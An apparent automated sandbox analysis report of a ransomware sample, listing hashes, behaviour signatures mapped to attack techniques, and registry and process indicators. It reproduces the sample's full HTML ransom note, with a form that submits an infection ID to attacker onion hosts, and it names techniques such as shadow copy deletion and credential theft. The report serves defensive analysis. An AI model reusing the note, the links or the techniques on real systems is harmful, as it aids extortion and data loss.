8c317a224815928cd57d87685284baf27fc84e2e37642b26b6052d882779e0a8

Analysis

max time kernel
89s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
06/10/2026, 17:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaffacakes118_Trojan-Ransom.Win32.Cryptor.bql.exe
Size 204KB
Sample261006-vj2fcastev
SHA256 8c317a224815928cd57d87685284baf27fc84e2e37642b26b6052d882779e0a8
MD5 f6b7dbc3fcc9f61430e5db6e3ecc314e
SHA1 3d2d0ec206ad00d3e49213805767f0a235916fea
SHA512 2ff209c5674db9ca9863b1d49f4db16fe134fd808149771997c4a1b5b478a10eb4e8cdb10d5faa953cc4ced7e8436d3ecd8bf5977beded35e08f82f4d9f01bd4
SSDEEP 3072:c+5k6qWFvYKRPPlgEOTved7vQ7/77xev+8nnkWQVlgBM1HSPH1Ya99a:753qGvYKRPdghTvOIxevznkOOFw1Yia
TLSH
T13114CFCBB801D1B4F8709531AB199EF26BB17D33C690555BF3C47F26F8B3026562A246
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery evasion execution impact persistence ransomware spyware stealer trojan

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\D3DSCache\b5a3c58d1e2d9326\[HOW_TO_DECRYPT_FILES].html

Ransom Note

<html> <head> <title>How can I recover my files?</title> <style> html, body { font-family: lucida sans,tahoma,aerial,serif; font-size: 14px; overflow-x: hidden; background-color: #fff; padding-left: 1rem; } div.box { border: 1px dotted #212121; padding: 0.4rem; display: block; margin-top: 0.5rem; margin-bottom: 0.5rem; } input[type=submit] { border: none; padding: 0.1rem 0.7rem 0.1rem 0.7rem; background-color: #303f9f; color: #fff; } input[type=submit]:hover { background-color: #212121; } a { color: #212121; text-decoration: none; font-weight: bold; } a:hover { color: #3f51b5; text-decoration: underline; } </style> </head> <body onload="submit_form()"> <div style="margin: auto; max-width: 750px; padding: .5rem 1.5rem .5rem 1.5rem;"> <h3>What happened to my files?</h3> <p> All of your important files were encrypted using a combination of <a rel="noreferrer" href="https://en.wikipedia.org/wiki/Public-key_cryptography">RSA-2048</a> and <a rel="noreferrer" href="https://en.wikipedia.org/wiki/Advanced_Encryption_Standard">AES-256</a>. </p> <h3>What does this mean?</h3> <p> This means that your files were modified in a way that makes working with them impossible, unless you have the keys to decrypt them. </p> <h3>Is it possible to recover my files?</h3> <p> Yes, it possible to get your files back, you'll need a special program (decryptor) and the private key of the key pair used to encrypt them. </p> <h3>How can I get the decryptor and the private key?</h3> <p> First, you'll need to synchronize your computer with our site, you can do this by clicking the button "Upload the KEY file". You can also manually upload the synchronization file <span style="border: 1px dotted #212121;padding: 0.1rem 0.3rem 0.1rem 0.3rem;">C:\Users\Public\Desktop\KEY</span> by visiting any of the links below. <span style="display: block; font-size: 0.8rem;">*This file contains information to identify your computer and the keys used to encrypt your files. However, those keys are encrypted and only our server can decrypt them.</span> </p> <p> After you've synchronized your computer with our server, you'll just need to follow the instructions there on how to pay for the decryption of your files. </p> <div style="text-align: center;padding-top: 0.5rem; padding-bottom: 0.5rem;"> <form id="infection_form" action="http://lockerrwhuaf2jjx.onion.sx" method="POST"> <input type="hidden" name="infection" value="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"> <noscript><span style="color: red; font-weight: bold;">Javascript is disabled! You must click the button below or manually upload the KEY file.</span></noscript> <input type="submit" value="Upload the KEY file"> </form> </div> <div class="box"> <p> Instructions to install Tor Browser (recommended). </p> <hr> <ol> <li>Download the Tor Browser Bundle here: <a rel="noreferrer" href="https://www.torproject.org/download/download-easy.html.en#windows">https://www.torproject.org</a>.</li> <li>Execute the file you downloaded to extract the Tor Browser into a folder on your computer.</li> <li>Then simply open the folder and click on "Start Tor Browser".</li> <li>Copy and paste the onion address into the address bar:<br><br><span style="border: 1px dotted #212121;padding: 0.15rem 0.3rem 0.15rem 0.3rem;">http://lockerrwhuaf2jjx.onion/UMMWTUQB_5D06DD266B1416EC6522DF69/</span></li> </ol> </div> <div class="box"> <p style="text-align: center; color: red;"> Although it is not recommended to use web proxies to access the website, you can use the links below with a normal browser to access your page. Just remember to use the Tor Browser whenever making a payment. WARNING: The links below do not belong to us, they all go through someone else's server and should be avoided whenever possible. </p> <ol> <li><a rel="noreferrer" href="http://lockerrwhuaf2jjx.onion.sx/UMMWTUQB_5D06DD266B1416EC6522DF69/">http://lockerrwhuaf2jjx.onion.sx/UMMWTUQB_5D06DD266B1416EC6522DF69/</a></li> <li><a rel="noreferrer" href="http://lockerrwhuaf2jjx.onion.link/UMMWTUQB_5D06DD266B1416EC6522DF69/">http://lockerrwhuaf2jjx.onion.link/UMMWTUQB_5D06DD266B1416EC6522DF69/</a></li> <li><a rel="noreferrer" href="https://lockerrwhuaf2jjx.onion.rip/UMMWTUQB_5D06DD266B1416EC6522DF69/">https://lockerrwhuaf2jjx.onion.rip/UMMWTUQB_5D06DD266B1416EC6522DF69/</a></li> <li><a rel="noreferrer" href="https://lockerrwhuaf2jjx.onion.to/UMMWTUQB_5D06DD266B1416EC6522DF69/">https://lockerrwhuaf2jjx.onion.to/UMMWTUQB_5D06DD266B1416EC6522DF69/</a></li> </ol> </div> </div> </body> <script> function submit_form() { if (confirm('Do you want to synchronize your computer now?')) { document.infection_form.submit(); } } </script> </html>

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2364	2736	cmd.exe	127

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
5608	bcdedit.exe
1672	bcdedit.exe

Executes dropped EXE 2 IoCs

pid	Process
3852	agekm.exe
4628	agekm.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Windows\CurrentVersion\Run\{1E8864E2-78C1-8301-D0A9-7C0AE276E48E} = "C:\\Users\\Admin\\AppData\\Roaming\\Tocef\\agekm.exe"	agekm.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	agekm.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Microsoft\Crypto\RSA\MachineKeys\fc1e3851f429ea606d6ff1e01a5229f1_c277ca40-e21c-4f8b-b86d-11f105c4dbc4	jaffacakes118_Trojan-Ransom.Win32.Cryptor.bql.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\bmpd18f20b2.bmp"	agekm.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
904	cmd.exe
2888	cmd.exe
2364	cmd.exe
2256	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c61900000001000000100000002fe1f70bb05d7c92335bc5e05b984da6030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f6314000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	jaffacakes118_Trojan-Ransom.Win32.Cryptor.bql.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c00000001000000040000000010000014000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e81900000001000000100000002fe1f70bb05d7c92335bc5e05b984da66b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	jaffacakes118_Trojan-Ransom.Win32.Cryptor.bql.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	jaffacakes118_Trojan-Ransom.Win32.Cryptor.bql.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	jaffacakes118_Trojan-Ransom.Win32.Cryptor.bql.exe

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	agekm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	agekm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cipher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cipher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jaffacakes118_Trojan-Ransom.Win32.Cryptor.bql.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2340	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2088	vssadmin.exe

Modifies registry class 54 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\5D06DD26\DefaultIcon	agekm.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs	SearchHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "0"	SearchHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\5D06DD26\DefaultIcon\ = "%SystemRoot%\\SysWow64\\shell32.dll,47"	agekm.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\MuiCache	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DomStorageState	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "23"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "23"	SearchHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.locked\ = "5D06DD26"	agekm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "0"	SearchHost.exe
